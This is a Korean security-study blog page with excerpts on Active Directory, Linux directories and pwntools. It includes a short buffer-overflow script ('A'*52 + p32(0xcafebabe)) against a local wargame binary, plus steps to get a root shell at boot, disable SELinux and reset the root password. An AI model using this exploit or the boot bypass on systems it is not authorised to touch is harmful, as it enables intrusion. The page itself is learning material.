일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 파일
- binarybomb
- 밤랩
- 서브모터
- 리눅스
- pwnable
- 툴
- IDS
- 명령어
- pwntool
- bomblab
- 리버싱
- 디렉터리
- Linux
- phase_3
- bomb lab
- mandb
- reversingg
- 침입감지시스템
- 데이터 형태
- phase_1
- Bomb
- 스테가노
- phase_2
- 아두이노
- phase_4
- Reversing
- phase_6
- gdb
- phase_5
- Today
- Total
목록분류 전체보기 (59)
Flag={C0MPU73R}
액티브 디렉터리 (AD, Active Directory) AD DS (Active Directory Domain Services)- 액티브 디렉터리 구성시 해당 역할을 추가한 후 설정 AD FS (Active Directory Federation Services)- 도메인 페더레이션 및 웹 기반 단일 로그인 관리 AD LDS (Active Directory Lightweight Directory Services)- LDAP (Lightweight Directory Access Protocol)라고 하는 디렉터리 방식 구현 AD RMS (Active Directory Right Management Services)- 액티브 디렉터리 정보 보호 및 권한 관리 AD CS (Active Directory Cer..
from pwn import * p = process("./파일명") #로컬에 있는 파일 선택print(p.recvline()) #이 파일에서 출력하는거 한줄 출력 p.sendline("A"*52 + p32(0xcafebabe)) #파일에 ()안에 있는걸 입력 p.interactive() #상호작용p.close() ------------------------------------------실행 방법 $ (python EX.py; cat) | ./파일명
알아서 두개씩 끊어서 순서 바꿔줌 32bit원래 0x1234는 0x00001234 p32(0x1215)-> \x34\x12\x00\x00 64bit원래 0x1234는 0x0000000000001234 p64(0x1215)-> \x34\x12\x00\x00\x00\x00\x00\x00 ----------------------------------- p32(0xcafebabe)-> \xbe\xba\xfe\xca
conn.send(data) 데이터를 전송. data는 string형 conn.sendline(data)데이터를 전송하되, 마지막에 개행문자 ("\n")를 붙입니다.send(data + "\n")과 동일합니다. conn.recv(numb=4096, timeout=default)받은 데이터를 numb만큼 str로 반환합니다.r.recv(1024)처럼 사용할 수 있습니다. conn.recvline()한 줄을 받아서 반환합니다. conn.recvuntil(data)data가 나올때까지 받은 모든 데이터를 반환합니다.
sudo apt-get install python2.7 python2.7-dev python-pip sudo pip install pwntools sudo apt-get install libcapstone-dev
etc 디렉터리의 구조 /etc/fstab : 파일 시스템 관리 /etc/group : 유저 그룹관리 /etc/inittab : init 프로세스 관리 /etc/passwd : 유저 관리 /etc/passwd 파일의 내용 사용자명 : 패스워드 : 사용자UID : 사용자 GID : 사용자정보 : 홈디렉터리 : 사용자계정로그인셸 usr 디렉터리의 구조 /usr/bin : 응용프로그램의 실행파일이 존재 /usr/include : C언어의 헤더파일 존재 /usr/lib : 실행파일들을 위한 라이브러리 저장 /usr/local : 일반적 프로그램을 설치 /usr/src : Rpm, 소스파일들을 저장하여 사용
CUI (Character User Interface) 캐릭터 유저 인터페이스 - 텍스트 GUI (Graphic User Interface) 그래픽 유저 인터페이스 - 그래픽 명령어1. dnf group install workstation-product-environment 2. systemctl set-default graphical.target 3. systemctl enable gdm.service 4. reboot *dnf = Fedora에서 YUM 대체하는 명령어 *안되면 앞에 sudo 붙혀서
fedora19 기준 부팅화면 이 부분에서 키보드 E 클릭 방향키로 내리면 끝에 quiet인 부분 뒤에 (원래 비어있는데 전에 넣어서 있음) 한칸 띄고 init=/bin/bash 입력 후 F10 클릭 기다리면 루트로 로그인 되어있는 콘솔창이 뜨는데 mount -o remount, rw / 입력 후 vi /etc/selinux/config SELINUX 뒷부분을 disabled로 수정 후 저장(:wq) 하고 passwd root 로 root의 비밀번호를 변경하고 reboot -f 로 부팅